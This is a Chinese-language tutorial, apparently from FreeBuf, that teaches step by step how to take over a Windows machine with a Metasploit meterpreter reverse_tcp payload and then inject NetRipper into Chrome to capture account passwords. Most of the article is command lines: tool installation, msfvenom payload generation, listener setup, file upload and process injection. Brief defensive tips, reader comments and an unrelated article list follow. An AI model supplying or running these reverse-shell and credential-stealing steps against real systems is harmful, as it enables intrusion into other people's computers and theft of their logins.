Metasploit+NetRipper获取Chrome等浏览器帐号密码测试
本文共 1714 字，大约阅读时间需要 5 分钟。
前言
本篇文章我将手把手教会各位Buffer如何使用Metasploit+NetRipper获取Chrome等浏览器内保存的帐号密码。
需要工具:
Kali Linux&Metasploit
NetRipper
1.下载并且配置NetRipper
git clone https://github.com/NytroRST/NetRipper.git
mkdir /usr/share/metasploit-framework/modules/post/windows/gather/netripper
cp netripper.rb /usr/share/metasploit-framework/modules/post/windows/gather/netripper/
cp DLL.x86.dll NetRipper.x86.exe /usr/share/metasploit-framework/modules/post/windows/gather/netripper/
cp DLL.x64.dll NetRipper.x64.exe /usr/share/metasploit-framework/modules/post/windows/gather/netripper/
2.生成Windows的Payload用于建立于目标机器的连接
msfvenom -p windows/meterpreter/reverse_tcp LHOST=You IP LPORT=XXXX -f exe > Payload.exe
3.启动Metasploit并且进行监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST IP
set LPORT 6666
options
exploit
目标机运行Payload获取到反弹shell
4.上传DLL和exe文件到目标机器的C:\Users\Administrator\AppData\Local\Temp目录下
Upload /root/Desjtop/NetRipper/x64/DLL.dllUpload /root/Desjtop/NetRipper/x64/NetRipper.exe
shellNetRipper.exe
运行NetRipper.exe
NetRipper.exe –w DLL.dll –l TEMP –p true –d 4096 –s user,pass
NetRipper.exe ConfiguredDLL.dll chrome.exe
我注入到了是chrome浏览器的进程,你也可以注入到其他浏览器(火狐，QQ浏览器，360浏览器等等)的进程，这里以Chrom浏览器为主
5.测试验证
打开那个刚刚下载的txt文件
Ctir+F输入pwpw或者pwd、pass、password等关键词来搜索明文密码
参考文章:
如果获取失败帐号密码的话，可能是网站使用了Https协议，或者登陆时在本地就进行了帐号口令的一个加密混淆！(个人推断)
防范方法:
1.不要点击来历不明的文件
2.浏览器登录可以扫描就扫描登录
3.如果没有必要个人建议不要在浏览器保存自己的社交帐号密码
*本文作者：艾登——皮尔斯，转载请注明来自FreeBuf.COM
- 上一篇：
- 下一篇：
已有 5 条评论
-
G 2018-04-20 1楼不懂这个跟保不保存浏览器密码有什么关系？
( 1) - jackfan 2018-04-21 5楼
打开那个刚刚下载的txt文件，注入到了是chrome浏览器的进程，那个保存的账号密码文件在哪看哇，找不到哇
你可能感兴趣的文章
实现EasyExcel对Excel进行读操作（测试）
查看>>
课程分类添加功能
查看>>
教育项目课程模块2
查看>>
教育项目课程模块3（课程分类前端实现）
查看>>
课程管理需求+后端接口
查看>>
3搭建service模块
查看>>
4service_edu模块
查看>>
3整合swagger进行接口测试
查看>>
5使用R方法
查看>>
Memcached的安装与使用
查看>>
构建事实表
查看>>
java与javax的区别分析
查看>>
搭建前台系统环境
查看>>
添加课程信息前端1
查看>>
更改Bison-Flex的输入源
查看>>
Bison%code的使用
查看>>
Bison(yacc)如何正常退出以及返回值
查看>>
线程安全与可重入
查看>>
一个输入密码用的隐藏输入小程序
查看>>
虚函数的默认值
查看>>